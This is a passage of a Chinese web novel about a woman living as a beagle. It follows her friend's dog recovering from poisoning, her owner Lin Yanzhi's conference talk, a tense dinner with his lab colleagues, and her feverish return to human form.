夏焰把手揣进口袋,里面空空如也,要是没有那那枚硬币,豆豆是不是就会乖乖回家了?为什么没有跟着它一起去?当时觉得它啰嗦烦人,它走了不是更高兴?
夏焰紧抓着口袋,看向抢救室的大门。
耳边是简阳低沉的抽泣声,他们一言不发,在想象着最坏的情况。
暖乎乎圆嘟嘟的小狗今早还在她面前活蹦乱跳,她贴在它的身上,感受它的体温,怎么现在躺在抢救室里奄奄一息。
夏焰浑身发冷,身体不停颤抖,挪动位置,进一步贴住简阳的小腿,企图从她身上获得一点温度,对方的脚踝却像冰块一样冰凉。
夏焰侧身抱住她的脚踝,用肚子贴住她的脚踝,要给她一点温暖。
简阳停下了哭声,轻轻推开丁丁的怀抱,抱起夏焰,把她抱进怀里。
眼泪顺着夏焰的耳朵流进她的衣服里,她的衣服湿了,在简阳的怀里有了一丝温度。
丁丁抱手,在急诊室前来回踱步,在每一分一秒里都是煎熬。
终于,医生拉开门,走了出来。
简阳把腿上的小狗放下,焦急地走到医生面前。
“没什么大事,还好抢救及时,而且发现的第一时间有人帮忙做了处理。”
简阳肩膀一抖,脑袋里紧绷的弦终于放松下来。
“它应该是异烟肼中毒,我们检测到了部分剂量,还发现它胃里的食物残渣,可能是夹在香肠里投毒,等下可以再去抽血做个测验。”
林砚之拿着报告单紧随其后走出诊室,把报告单递给简阳。
林砚之问:“你都和他们说了吗?”
肖旸旸点点头。
林砚之拍拍面前两人的肩膀:“它没事。”
护士把豆豆推进病房,简阳和丁丁跟着护士进去。
夏焰还呆坐在冰凉的长椅上。林砚之向她走来把她抱进怀里。
他摸摸她的马甲外套,有点湿漉漉的,用手指梳了几下夏焰的额头。
“怎么领子湿了?”
他们经过豆豆的病房,好朋友肖旸旸医生为他们提供了单间,只有豆豆一只狗。
夏焰站在林砚之手臂上,趴在窗户前向里看。
豆豆趴在垫子上还在昏睡,没有精神。简阳坐在豆豆身边擦眼泪,抽空了力气靠在身旁男人的肩膀上。
“回家吧。”林砚之搂着她的胳膊,“我们回家,去把湿衣服换下来不要感冒了。”
夏焰翻身跳进他的怀抱,脑袋搁在他的肩膀上,耳朵分别耷拉在他的前胸后背。
一声清脆的响,和瓷砖短暂接触,又被弹开,像弹珠跳动的声音。
林砚之蹲下身,捡起硬币,塞进夏焰的口袋里。
“你的硬币掉出来了。”
硬币?口袋里硬币不是早就被豆豆拿走了吗?它没去买烤肠吗?
“我、我、我,我是见过那个博美,还有那个比格,对对对就是这个。”老板指着夏焰,“可是我这几天都没有看到它们,咋个去毒它嘛?我卖给人吃的,大家吃了都没事,可不能诬陷我啊,我这个生意还做不做了?警察叔叔,要为我做主啊,我可是大大的良民。”
夏焰被警察叔叔夹在夹在胳膊下,有些艰难地活动四肢。
她被算作物证带去查案,看老板说不说实话。
去查了当天的监控,什么也没查出来,监控显示当天豆豆确实没出现在烤肠摊前。
小区里的监控也没有找到它是怎么中毒的,也没有看到是谁下毒。只拍到它摇摇晃晃走出草丛,脚下一软扑倒在地,抽搐着呕吐。还好被一个遛弯的大爷发现,做了抢救。
一无所获。
警察只能在小区附近张贴公告,宣传教育,再三叮嘱小区居民一定要照看好小狗,不要乱吃东西。
夏焰回到家里,打开林砚之的手机,拨通简阳的视频通话。
铃声没响几秒就被接通了。
接电话的正是豆豆。
“你是不是偷玩妈妈手机。”
豆豆吐出舌头嘿嘿一笑:“妈妈让我看动画片。”
“你好点了没?”
豆豆的声音听起来还比较虚弱,但是看起来有精神多了。
“你那天没去买烤肠吗?”
夏焰问它。
“我去了呀。哦不对!我没去!我记得舔了你,然后钱就消失了,我走到半路没摸到,以为被我弄丢了,我就没去。结果居然在草丛里发现一根香肠诶!”
“还笑!你知不知道自己就是吃香肠差点就上天堂!”
豆豆嘟着嘴,哼哼唧唧,有点不好意思。
“我真的不敢再乱吃了。我的肚子好痛!感觉要死掉,差点就再也见不到妈妈了呜呜呜。”说着突然泪如雨下,嚎啕大哭,“呜呜妈妈。”
简阳出现在屏幕里,抱着它的小狗脑袋,安慰它:“好了好了,不要哭了,看会动画片吧。”
“拜拜。”
豆豆迅速挂掉了电话,视频还卡在它闭眼嚎叫的最后一帧。
夏焰放下手机,叹气,从头上把玩具眼镜摘下来,像一个资深老教师。
“老教师”看着对面的青年教师又忍不住叹气。
林砚之已经在书桌前待了快一天,除了给夏焰做饭,就再没离开过。
他说自己明天要参加座谈会,上台演讲,没时间和她一起玩,叫夏焰乖乖玩玩手机,看看电视。
唉,你们这些家长一点都不会教育孩子。
怎么办呢?
我来帮助你吧。
夏焰戴上眼镜,跳到林砚之腿上,准备陪他共进退。
看到电脑上一堆专业英语,她立即决定让他独立成长,偷偷撤下狗腿。
结果被林砚之抓回来。
他目不斜视,眼睛没离开过面前的资料,动作迅速,把夏焰捞回来。
他把她的眼镜拿下来,给她戴上自己的防蓝光眼镜。
比格犬的耳朵虽大但是并无戴眼镜的作用。眼镜几次从她的耳朵边掉下,林砚之又给她戴上,不耐其
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烦,乐此不疲。
夏焰抬起爪子给他一掌,他才停下动作。
夏焰往后瘫,靠在他的胸前,在他的胸口拍拍打打,打得他发出闷哼。
她奇怪地抬头,减轻几分力气,在他胸前搓搓揉揉,想要找个合适的位置靠着睡觉。
听到他胸腔发出震颤,两声不自然的咳嗽,揪住捣乱的小狗后颈,让她老实待着。
“你先睡吧。”
夏焰扯过自己的耳朵,一片耳朵盖住一只眼睛,天然眼罩,她满意地躺下了。
夏焰靠着林砚之睡得香,中途醒来一会,打开耳朵发现他还在工作,林砚之把灯关了,只有面前的电脑还在发出刺眼亮光。
夏焰眯着眼睛抓住林砚之的手臂。
林砚之伸手为她挡住屏幕亮光,把她翻过来面对自己,拍着她的后背哄她:“马上就去睡。”
夏焰侧躺在他的怀里,闻着他的睡衣衣领上特别的香味,又沉沉睡去。
一夜无梦,她睡得沉,甚至不知道什么时候回到卧室床上。
她揉揉眼睛翻身坐起来,发现身边空无一人,林砚之的被子正整整齐齐叠在床尾。
“不是吧?起这么早?不会是一夜没睡吗?”
夏焰一脚踹开身上的被子,把小被子推到林砚之折好的被子旁边,像是豆腐块旁边放着豆腐脑。
她跳下床,脚底一滑,摔个狗爬。
她站起身来愤愤道:“林砚之你什么毛病?大早上起来拖地!”
林砚之从外面探出脑袋:“你醒了吗?吃早餐吧。”
夏焰一口口咬着碗里的死面馒头,思考林砚之到底犯了什么病,居然爬起来蒸馒头。工作到凌晨,打扫完整屋的卫生,还蒸了一锅馒头,虽然像橡皮一样,岂不是一夜没睡?
她扒拉着林砚之的眼皮,发现眼睛里满是红血丝,眼底淡淡的乌黑,却透出诡异的兴奋,精神抖擞。
听说人在死前会回光返照。
夏焰怕这是他猝死前的征兆,拉着他的手叫他去休息。
林砚之单手系纽扣,拍拍夏焰的脑袋让她松手。
“我要去上班了。”
夏焰松手,他抽出两条领带,放到夏焰面前。
“哪条?”
夏焰犹豫了一下,选了一条深蓝色的。
“这条?”他举起领带,“会不会不太稳重。”
“啧。那你别问我,说了又不行。”
夏焰抱手扭头到一边不说话。
林砚之笑笑,低头系上那条领带,把另一条收进衣柜,拉开抽屉找手表。
“我手表呢?你看见没?”
“你自己不好好放,我怎么知道你手表……”
夏焰猛地扭头转向鱼缸。
尼莫正趴在一个长满青苔的东西上面睡觉。
不会是吧?
夏焰回头看向林砚之,林砚之顺着她刚刚的视线,站起身,走向鱼缸。
夏焰紧紧抱住林砚之的腿,大叫:“别冲动!我肯定会赔你的。”
一只欧米茄,在鱼缸里牺牲了。
林砚之把它捞出来擦干净,安葬在盒子里。
夏焰绷紧身体,站在门口和他挥手含泪告别。
“领导加油!领导再见!我会想你的。”
林砚之出门前看了她一眼,夏焰没由来的心虚,对他咧嘴一笑。
“和我一起去。”
说完把夏焰一把捞进怀里。
33. 蝗虫过境
可以容纳上百人的报告厅,此时座无缺席,来自全国各地各个高校的学术大拿,行业专家,今天都在这里齐聚一堂,开展学术交流研讨。
夏焰坐到了最前排。
哦哟,压力好大的。
夏焰用余光偷瞟旁边的老教授,对方抬起老花镜,眯着眼睛凑近看手机。她也把眼镜掏出来,调整好松紧带,眼镜挂在脑袋上,像是要去游泳一样,就差一个游泳圈。
老教授看完消息,把翻盖手机壳盖好,放在桌上,拿过夏焰面前的名牌,看着名字对照着今天研讨会上的演讲名单,点点头放下牌子。
侧头看向一旁的空座位。
“咦!”老教师吓一跳,才发现座位上坐了一只小狗。
“咦!”夏焰也被吓一哆嗦,吓得两只耳朵乱飞。
“哪里来的小狗啊?”老教师召来站在旁边的学生。
“这个是林老师的小狗。”
“噢,开会的时候要不要把她带出去?”
学生为难:“林老师没说呢,只是说让她坐在他位置上。”
“还是抱出去吧,等会狗乱叫起来扰乱秩序。”
夏焰装作听不懂的样子呆傻地坐在原地,一动不动。
“借过,借过。”
丁丁从后排艰难地挤到前面,从座位上抱起夏焰。
“你终于来了,我承受多大的压力你知道吗?”
夏焰抓着丁丁的衣领。
“走走走,我们到后面去。”
丁丁抱着夏焰往后面走,继续后面走,走完了还走。
“你座位也太远了吧?等会能看清吗?”
山上的朋友你们好吗?
丁丁抱着小狗坐下,夏焰抬爪遥望远方。
世界上最遥远的距离不是生与死,也不是爱与恨,是教授和助教的距离。
丁丁身边全是来凑数的本科生,研究生比他还能多往前坐一排。
夏焰拍拍他的肩膀。
“三十年河东,三十年河西,莫怕少年穷。”
“丁老师来一把。”
旁边的男同学用手肘撞他。
“不来。你是来学习的还是来玩的?”
“我就不信丁老师你是来学习的。快来吧!我朋友一起来,他金标。”
“咳咳,那就玩一把啊待会开始了就不要玩了。”
他把夏焰放到桌子上让她自己玩会儿。
夏焰扒拉开桌上的名单,找到林砚之的名字,发现在后面一点,打着哈欠安心趴下。
第一位教授上台,掌声轰动,他向大家挥手,接着就切入正题,开始他的特邀报告。
“你别睡,大佬讲课呢,你学习一下。”
丁丁敲敲夏焰的脑袋,自己头也不抬。
“别烦,打你的游戏。”
夏焰闭眼靠在同学的书包上,右边的女同学轻轻地摸她,怕把她弄醒。
“她的毛毛好软,颜色好漂亮啊。”女孩和身边的朋友悄悄说。
夏焰笑着装睡,任由她们摸摸抱抱,一动不动。
原本想闭目养神,结果真的睡着了,今早起的太早,现在这个时间正适合睡回笼觉。
夏焰越睡越冷,最后打个寒颤惊醒,从书包上上抬起头来,刚好看见林砚之上台。
不知道已经过去多久,后排的学生都看起来很疲惫,玩手机的玩手机,睡觉的睡觉,身后的丁丁甚至睡得仰过头去,微微打鼾。
夏焰一个猛跳,踩到他的肚子上。
“哦!”
丁丁差点要把隔夜饭吐出来,捂着肚子欲哭无泪。
夏焰又把旁边的男生也打醒。
看他抬头一脸茫然地四处张望,夏焰抬起爪子,给他指明方向。
右边的女孩被他们的动静吵醒,害怕夏焰也给她一拳,乖乖坐好,坐正看向前方。
林砚之走到讲台后,开始他的发言。
“各位前辈,老师,同学们上午好,我是分子生物团队的林砚之。”
他短暂的停顿,等待掌声结束。
夏焰看到ppt上熟悉的内容,是他这几天来回翻看的资料。
无论再听多少遍,她也听不懂里面的专业术语。
但是每次都极为认真的为他欢呼鼓掌。
她知道他为了把这一切都做到完美,花费了多少时间和精力。
对于旁人来说只是一个流程,走过场的活动,真正会听他讲话的又有多少人?
可他就是这样,该他做的事,一定做到最好。
夏焰站在在会议厅的最后面扫视着所有人。
他们今天坐在这里,各有各的目的,听台上人完成演讲,只能算作附带成就。
夏焰踩在丁丁头上,气愤地抓住他的头发往后仰,努力抑制自己的怒吼。
丁丁“嘶哈”着让她松手。
“别把我头发揪掉了!”
“汪!”
一声微弱的狗叫混在再度响起的掌声里,林砚之鞠躬结束报告演讲,从热烈的掌声里听到她的声音,穿过层层人群找到她的身影。
夏焰坐在丁丁头上几乎要站起来给他鼓掌。
“他朝我们笑,是不是看见我们了。”
夏焰拍手,两个柔软的肉垫互相击打,没有任何声音,她还是乐此不疲,一定要让他看到。
丁丁突然半蹲站起身来,把她带到门口,一只脚撤出门外,大半个身体还留在屋里。
“我们要回家了吗?”夏焰拍拍他的脑袋。
丁丁把她放下地,给她指了指对面的房间,叫她先去抢占有利位置。
“啥啊?”
夏焰听不明白,但是照做。
还没等她走到门口,听见里面发出一阵欢呼声还有更多的哀嚎声。
然后冲出一堆人,丁丁抢在第一个。
“我先去!”
夏焰被他们一起夹进屋里,才发现里面的长桌上摆满了各种甜点,饮料还有水果,准备了茶歇在中场休息时间用来招待各位专家老师。
真正招待的其实是专家手底下的学生。
“大家让让,别挤到小狗狗我了。”
夏焰摇摇晃晃挤到丁丁身后。
丁丁从最里面艰难掏出一只手,递给夏焰一根竹签,上面串了烤肠。
夏焰摇摇头:“戒了。”
“那你吃啥?我抱着你你自己挑。”
他把夏焰举过头顶让她指她想要的。
“这还剩啥?”
这张桌子只剩下零星几颗圣女果,丁丁拿过一颗塞进她嘴里,自己吃一颗。
“走走走,我们去那边,那边有甜点。”
丁丁又把她带到放甜点的桌子,大家像抢劫一样把桌上的甜点洗劫一空。
这么激烈?
那脸皮薄如林砚之这样的人岂不
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是从来都没吃过?
夏焰心酸地拍拍胸口,决定要让他感动一下。
小蛋糕没法揣口袋里,只有饼干能装进去,夏焰指挥着丁丁给她抢饼干,不同味道不同样式的每个都来几个,把两个逗逗塞的鼓鼓囊囊,拉链都快拉不上。
“你轻一点拉,别把饼干压碎了。”
丁丁小心翼翼地用两个手指帮她卡上口袋拉链。
她满意地拍拍口袋,甩着尾巴准备去找林砚之。
发现丁丁没跟上来,回头发现他还在扫荡。
“好了吧!走吧!”夏焰咬着他的裤脚,拖着他走出房间。
丁丁咬着一块可颂问她要不要吃?
夏焰摇摇头,只想找林砚之,跳起来拍他的口袋,叫他打电话。
结果听到脆脆的声响。
“什么东西?”
丁丁掏出手机给她,她还是不满意,又把里面的塑料盒掏出来。
“巧克力!还是两盒?”
“狗又不能吃,别要了。”
居然自己藏得有私货!
夏焰撕咬他的裤腿。
“别别别,林老师来电话了,快来接。”
“你们在哪?”
“汪汪!”
林砚之的声音从走廊那头传来,夏焰大声呼唤他。
他把夏焰抱起来,擦擦她嘴角的饼干碎。
和丁丁打了招呼准备带她回家。
夏焰却一把抓住了丁丁手里的塑料盒。
“什么东西。”
丁丁含泪送给林砚之。
“巧克力。我给阳阳带一盒”
“你现在又不能吃。”林砚之看向夏焰。
“给你吃。”
夏焰尾巴甩得欢快。
丁丁含泪惜别,依依不舍。
“你自己吃吧。”
林砚之又塞回丁丁手里。
“要不买盒新的吧,别人挑剩的送她会不会不太好?”
夏焰盯着林砚之,心里犯嘀咕,不知道兜里的饼干还要不要给他。
“不,你不懂,这是战利品,她特意叮嘱我的。”
林砚之吃了闷棍,欲言又止。
他为夏焰系上安全带,开车离开学校,没有回家,去了饭店。
“搞了半天你们出来吃好的啊。”
夏焰好奇地摸摸走廊上悬挂的流苏。
荷花池里有火红的鱼,木头桅杆上刻着四季花卉。
池水上耸立起几个亭子,做工精细,整个大厅古色古香。
有人在亭子间吃饭,云雾缭绕,好像离他们很远。
夏焰感到新奇,叫林砚之也带她到那里去。
服务员走过来向林砚之问好,带他们穿过层层云雾,来到二楼包厢。服务员抬手轻敲,里面传来声音:“进!”
她把门推开,请他们进屋。
一桌子的人,神色各异,像是被人打断聊天而感到不悦,他们此时一齐向林砚之投来目光,像是暗处射来的冷箭。
夏焰缩在林砚之怀里,被暗箭误伤,忘记抬头看他的表情。
“小林来了,服务员,再加把椅子吧。”
苍老的嗓音却极有重量。
这是林砚之电话里经常传出的声音,说话的人正是他的老师。
夏焰听到他的声音才记起他的脸,在那张照片里,和林砚之站在一起,有他,还有方昉。
34. 一个醉鬼的告白
“这是你家的小狗啊?什么时候养的?”
夏焰坐在林砚之腿上,爪子放在桌子上,安分守己。
包厢里一共有七八个人,应该都是林砚之实验室团队的人。
夏焰从小就是典型的“窝里横”,只敢在家里称王称霸,出来遇见生人就歇菜。
“这是我读博时候的师妹,也是现在的同事。”
他低声给夏焰介绍坐在他们身边的女人。
夏焰煞有介事地点点头,郑重地伸出爪子,对方却只是手指轻轻触碰她的手背。
“真可爱哈哈。多大啦?”
“没多大,二十…多个月。”
林砚之手一抖,炼乳小馒头差点掉地,被夏焰张嘴接住。
“比格,狗中之王。”
圆桌对面的中年男人对夏焰竖起大拇指。看起来已经喝的差不多了,眼神虚晃,脸红脖子粗的,还在和旁边的人嚷嚷着倒酒。
夏焰昂首挺胸,接受夸奖。
没错没错。
男人又用手一指。
“混世魔王。”
去你的。
“我就说前一久看看你怎么那么憔悴,大家都猜你是不是生孩子去了,没想到是养了狗。”
“养比格的都是忍人。”
“诶恰恰好,你林老师最大的特点就是能忍!”
“她看起来倒还是挺乖的。”一旁的短发女人打圆场。
林砚之说:“她在外面就比较乖。”
夏焰斜着眼睛看他。
“倒满!你都没倒满!”
“少喝点!”
对方根本不在意他的回答,他的声音在桌子上翻滚,最后被一脚踢开。
林砚之自己也不在意,他低头给小狗夹菜,问她还想吃什么。
他夹来一块肉饼,让夏焰拿着啃。
夏焰歪头在面前的一小块桌子上奋斗,怎么都别扭,拱来拱去,不小心碰到身边人的手。
女人手一抖,握拳放在嘴边,强作镇定,把自己的碗往旁边放,给夏焰多腾出些位置。
夏焰歪头对她笑,她也笑着用手指点点她的脑袋,不敢摸她的脸,有点害怕。
夏焰发现对方竟然怕狗,坏笑着嘚瑟地往她身边靠,快从林砚之腿上掉下来,还装作不在意,下一秒悄悄抬爪去拉她的手。
“啊!”女人发出惊叫。
“她不咬人的。”林砚之捏住小狗嘴筒子,“比较淘气。”
“小狗跟你玩呢,你害怕坐到这边来。”
老太太和女人换了位置,她坐到夏焰旁边就把她抱进怀里,喂她一口一口吃完肉饼。
“还要不要了?”
夏焰摇摇头。
“还是我抱着吧,老师您再吃点。”
林砚之朝夏焰张开手,叫她过来。
“我都吃好了,你还没怎么动筷子,快吃点吧。”
林砚之不好推脱,拿起筷子,时不时扭头看她两眼。
老太太掰开夏焰的爪子,捏捏她的肉垫。
痒,痒!哈哈哈嘿嘿,痒!
她忍不住发笑,想要躲开对方的手,却被老太太抱得紧紧的。
“小林啊,来!喝一杯!”
坐在主位的老师向林砚之招手,让他把杯子拿来。
“老师我开车来的,喝不了酒。”
林砚之站起身弯腰抬手给老师倒酒。
老师脸色立马发生转变,刚才喝红脸的男人现在一本正经地唱红脸。
“我说你这个同志,怎么总是这么扫兴?”
他瞪着眼,猛拍两下桌子,夏焰面前的勺子被震到地上。
大家一言不发专心吃菜,只有夏焰抬起头来。
“你读书的时候就这个倔样,怎么工作了还是这个死德性!”
夏焰的心好慌。
像是拿着卷子站在座位上看老师发火,那时候她是低着头的,现在林砚之抬着头,一时成为众矢之的。
“当时没被骂够吗?家里从小没人教!这么大年纪了还这样!”
夏焰龇牙冲他吼叫。
“行了。”
老师出声制止男人,对林砚之柔声道:“你王老师喝多了,小林别放在心上,过来少喝点,就喝一杯,等会帮你叫代驾。”
林砚之放在桌下的拳头攥紧,小臂上鼓起的青筋像是蛰伏在他身体里的寄生虫,疼痛的时候才会被发现,发现的时候早已寄生在他身上许多年。
夏焰歪过身体,想要拉他的手,却刚好和他错过。
他走到老师身边,毕恭毕敬地接过老师手里的酒杯,仰头,一口气喝完。
辛辣呛口的白酒顺着食道涌进胃里,途径过的地方都被灼烧。
夏焰觉得自己的脖子也像被火烧。
“去把账结了吧,大家也吃的差不多了。”男人从外套里掏出银行卡,拍拍林砚之的肩膀。
看他开门走出,夏焰转头皱着眉毛怒视对面的两个人。
被叫作王老师的男人已经醉得不省人事,开始胡言乱语:“你们看他这个狗,有没有感觉眼熟,我一直觉得在哪见过。”
“你喝多了别乱说话。”抱着夏焰的老太太出声提醒。
“啧,你们没有感觉?”
所有人把目光重新放到夏焰身上。
“这么说好像是有点眼熟啊,你看她耳朵上有个爱心。”
不知道是第一个说话。
夏焰不自在地活动身体,想把爪子从老太太手里抽出来。
“林砚之,快回来。”她在心里默默呐喊。
“方昉。”
夏焰寻声扭头,林砚之的师妹,正拿着手机,给大家看照片。
方昉抱着小狗参加毕业典礼的照片。
“谁?”男人眯着眼睛记不得她说的名字,也看不清照片。
“就是本科期间就进我们实验室的那个学生啊,我还带过她做实验呢,不是说考上我们学校要进我们实验室继续读研吗?后来没见过她了。”
她收起手机,对男人说:“毕业典礼那天我们好几个都和她合照了,还抱了她的小狗,也是比格犬,王老师也抱过。”
“哦哦我真没印象了。”男人用手搓搓脸,试图让自己清醒。
房间里陷入诡异的沉默。
交流不需要靠嘴巴,还可以用眼睛。
每个人都有意无意地偷看夏焰,思索刚才被提起的名字和自己是否曾经建立起联系。
大多数人对此没有回应,面无表情。
夏焰下意识地回头,看到身后老太太的眼睛短暂地转向主位上的男人,又快速移开,仅仅一秒,还是被她捕捉下来。
男人握着酒杯皱眉,脸上的条条皱纹都透露出苦涩。
好似战胜了巨大压力和痛苦,才下定决心抬起头来,望向夏焰。
混浊的眼睛透露出的信息太过复杂,夏焰尝试把它们通通劈开,从中抓出几个她能够理解的。
悲伤?无奈?还是懊悔?
为什么懊悔?
是想起方昉的死?在缅怀她吗?
还是说他在忏悔?
忏悔什么?
你们欺负了林砚之,是不是还欺负了方昉!
夏焰忍无可忍,挣开老太太的怀抱,跳上桌子,直冲那两个男人奔去,途中顺带着踢翻了每个人面前的饮料,餐桌上一片混乱,座位上一片哀嚎。
她开足马力飞奔到俩人面前,一脚踹翻俩人面前的酸菜鱼,吃剩的鱼骨鱼刺随着酸菜倒在姓王的衣服上,旁边的男人想要起身躲开,夏焰伸手用力一推,把没什么人吃的凉拌皮蛋推下餐桌,全部掉在男人的裤子上。
“抓住她!别让她跑了!”
男人大叫,发出命令。
无人理会,一时所有人都在尖叫,手足无措,抢着纸巾擦□□。
夏焰轻盈一跃,躲过男人伸出的手,从林砚之留下的门缝里钻了出去。
她叫着林砚之的名字,从二楼坐着楼梯扶手溜到一楼。
大厅里的灯光变暗,地上云雾缭绕,她看不清脚下,害怕一脚踩空,只好一点点地蹭着走。
荷花池中间的亭子里正在跳舞,几个穿着古典的女孩随着音乐在翩翩起舞,配乐典雅,没有用网络上的流行音乐,夏焰一时间被勾住了,扒在
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木头栏杆上目不转睛地看。
彻底忘记自己是来干嘛的了,流连忘返,乐不思蜀。
她们随着音乐舞到亭子的另一边,夏焰被面前的柱子挡住视线,站起身来,抻着脑袋张望。
脚下的木头粗糙,夏焰感觉自己的脚好像被木刺扎了一下,抬脚时另一只脚突然踩空。
糟糕,怎么飞起来了。
林砚之,救命!
还没等她把心里话喊出口,就被人接住。
一双大手稳稳接住她,把她带回怀里。
“回家吧。”
夏焰摸摸他脸上没擦干的水珠。
嘀嘀咕咕,以己度人:“你是不是在下面看入迷了,忘记上去接我了?”
看她叽里咕噜的样子,林砚之捏了捏她的嘴巴。
林砚之叫了代驾送他们回家,尽管能闻到一点酒气,但是看起来不像是喝醉的样子。
他还帮夏焰放水洗澡,吹干,丢上床。
一整套流程结束,夏焰干干净净,香喷喷的,钻进她的小方被里,发出一声舒服的喟叹。林砚之擦干头发,也扯开被子躺在床上。
夏焰扯过耳朵盖住眼睛准备入睡。
林砚之转过身面对夏焰,他打开她的耳朵说:“谢谢你,为我出头。”
夏焰睁开眼睛看他,他也看着她,继续说:“师妹给我发消息了,她说他们都气疯了,感谢你没有伤害她的裤子。”
夏焰看林砚之上扬的嘴角,认为他不是酒精中毒了就是同样被气疯了。
“谢谢你,真的。”
他的手掌贴到夏焰的肚子上,隔着被子,还是感觉到烫。
夏焰从被子里掏出爪子放到他的手背上。
他笑着眨眨眼:“不变回去也没关系,真的。”
“你喝醉了吗?”夏焰侧身看着他,扯他的嘴角。
他把夏焰爪子拿下来握在手里。
“我之前想让你变回去,是觉得那样你会更开心。”
“结果你不开心,还被欺负。”
他发出一声叹息,夹杂着微不可查的悲伤。
“我错了。”
“如果你不想变回去,一直这样也可以,逃跑也没关系,不用再看别人脸色,受别人欺负,我可以一直照顾你。”
“就是不知道你妈妈会不会同不同意哈哈。”
他自以为开了一个惊天动地的玩笑,胸腔里发出震颤。
夏焰目不转睛地盯着他。
他好像认为她不相信,一定要证实他说的每一句话都是真的,他坐起身来,拉开床头柜,从里面拿出几本证件还有合同。
“这是我祖父母留给我的,不止这些,还有国外的资产,等我死了,都是你的,你想做什么都可以。”
夏焰头昏,觉得自己也喝醉了,竟然在这看一个醉鬼说胡话。
“不,我活着的时候也可以给你,但是没法全部一次性给你,要去,要去走程序。不过很快的,等我死了,很快的,真的。”
他真的醉了。
开始说胡话了。
夏焰推着他的肩膀让他躺回去。
他拉着她的手,还想说,被夏焰捂住嘴巴。
等他闭眼消停了,她才收手躺下。
还没等她拉上被子,林砚之再次开口:“我师妹,是肖旸旸的妻子,他们是夫妻。”
夏焰惊讶,像是第一次知道丁丁和简阳在恋爱,两个意想不到的人在相爱。
“他们俩人很好,而且肖旸旸还是宠物医生,他们会好好照顾你。”
“如果我死了。”
夏焰哭了,捂不住他的嘴,只能捂着自己的嘴巴不让哭声泄露。
他死了,如果他死了,夏焰连想也不敢想,“如果”也不敢想。
她的抽泣声被困在漆黑的房里,如同一颗台球在桌上四处游走,不断碰壁发出声响,试图撞进正确的一角。
林砚之把球拿起,重新放在桌子正中央。
“我吃了你口袋里的饼干,已经碎了,但是我很喜欢。”
他把夏焰搂进怀里,盖上被子。
轻声说:“谢谢你。”
35. 正儿八经的兽医
寒冬的夜,格外磨人。不开空调觉得冷,开了空调又觉得闷。
夏焰觉得鼻子不通气,睡梦中张嘴呼吸,没多久就被自己的呼噜声吵醒,发现自己盖着小方被,又被林砚之抱进怀里,覆盖上他的被子。
柔和的木质香,铺天盖地袭来,夏焰沾染上他的体温和气味。
热死了!
她闭着眼一脚踢开被子。
还是热!
又踢开一层被子。
男人的手还搭在她的肚子上。
热!
她甩开他的手,离开他的怀抱,滚到另一侧。
呼噜,呼噜噜。
张嘴吐息,鼻子失去作用,彻底罢工。
怎么又有点冷。
夏焰睡意朦胧,蹬着床单往里拱,下意识靠近发热源头。
好远。好累。
夏焰放弃挣扎,脑袋一歪,露着肚皮又睡着了。
“醒醒,夏焰。”
有人在轻摇她的胳膊。
像是睡在摇摇床里一样,夏焰翻身抱住抱枕,换了个姿势睡得更香。
“你怎么这么热?”
还好吧,天生丽质就是这么火热。
抱枕贴住她的脖子,凉悠悠的,不由自主地想要靠近。
“你发烧了。”
夏焰这才感觉到热,身上关节酸痛,脑袋塞满了不停膨胀变大的棉花,快要在不断升高的体温下自燃爆炸。
躺在超级大转盘里一刻不停地旋转,她捂着嘴,怕吐到别人身上。
加速,再加速,夏焰的头撞到转盘栏杆鼓起一个大包。
她张嘴呼痛,却没忍住呕吐。
夏焰惊醒,翻身坐起,跳下床,冲进厕所。
“怎么了?”林砚之听到动静推开门。
夏焰身体虚弱,一脸憔悴痛苦,嗓音嘶哑:“嘘嘘啊。”
几乎是瞬间,林砚之把门关上,洗手台上的小鸭子被震得一抖,掉落在地。
马桶冲水的声音响起,夏焰摇摇晃晃站起身,走到洗手台前捡起小鸭子。
冰凉的瓷砖刺痛她的脚心,她是刚刚化出双腿的小美人鱼,每一步都走在刀尖上。
她松开手里的橡皮小鸭子,手指触摸地面,紧接着是整个手掌。
浴室被林砚之打扫得很干净,没有一点积水,他害怕她进来的时候摔跤。
夏焰动动脚趾头,一个,两个,三个,四个,五个。
一个不少。
婴儿时期第一次发现自己有手有脚是什么感觉?
新奇?害怕?还是兴奋?
第一次看见镜子里的自己呢?
谁告诉她那是她自己?
镜子里的夏焰,脸烧得通红,病态的红。
她打开水龙头,弯腰,低头,烧得滚烫脸放进冷水里,没有发出白气,只有夏焰的大脑在拉动警铃,发出爆鸣。
夏焰在心里尖叫。
“你还好吗?”
林砚之再次敲响浴室门。
回答他的是一声巨响。
夏焰在倒地前用仅剩几分的清明神智拉过一块浴巾盖住身体。
浴巾太小,她盖住了脑袋。
死,也要有面子。
她在一片混沌中知道有人把她抱到床上,盖上了被子。
夏焰抓紧被子,心里默念,告诉自己可千万别踢被子。
有人推开卧室门,肖旸旸的声音铿锵有力,像广播一样环绕在夏焰耳边。
“总裁,我来为你的宝贝看病了。嘶你咋不说话?”
肖旸旸越过林砚之走到床前。
“怎么了?小宝宝,让我来给你扎一针就好噜,小屁屁准备好……哎!”
夏焰的太阳穴一跳一跳。
“你你你,我告诉你,我这,我是,我那个,我正儿八经的兽医!”
“你你你,你这个,我我我我治不了。”
夏焰强撑着精神,睁开眼睛,坐在床边的林砚之挡住大部分视线,只能看见肖旸旸的脸。
眼睛里透露出诧异和震惊,眉毛高高吊起,下半张脸却十分割裂,他的嘴角快要扬到太阳穴,露出的牙齿白得惊人,表情既疯狂又亢奋。
夏焰身体发颤,觉得他是恐怖片《小丑回魂》里的潘尼怀斯,要把面前的林砚之一口吞下。
林砚之也没想到他打电话开门这十几分钟就会出现这么大变故,他现在有十张嘴也说不清,况且面前的肖旸旸像失心疯了一样,一句也不会听的。
“你有……”
“嘘。”他把食指竖到嘴边,“我懂。我有。”
肖旸旸从包里掏出一瓶布洛芬,递给他。
“先吃,还不退烧就送医院。”
林砚之低头看说明书,抬头看他:“我……”
他带着诡异的微笑,侧身对林砚之抬起手掌:“留步。我懂。”
说完低头,踩着踢踏舞走出屋子,用力地把门带上。
林砚之从衣柜里找出一件没穿过的短袖。
夏焰一点力气也没有,从被子里伸出手任由林砚之给她塞进袖口。
“另一只手。”
“抬头。”
只露出锁骨以上的地方,等林砚之为她套上衣服,她再在被子里面一点点扯好。
林砚之扶她靠着枕头,把药塞进她手里,等她仰头灌下,再接过杯子,让她躺下。
他柔声说:“睡吧,我就坐在旁边。”
夏焰听话闭眼。
发烧感冒的时候身体异常敏感,纯棉材质的衣服此时像是未经处理的棉花,团团贴身黏在她的身上,有些不适,让她睡不安稳。
生病的人总是脆弱的。
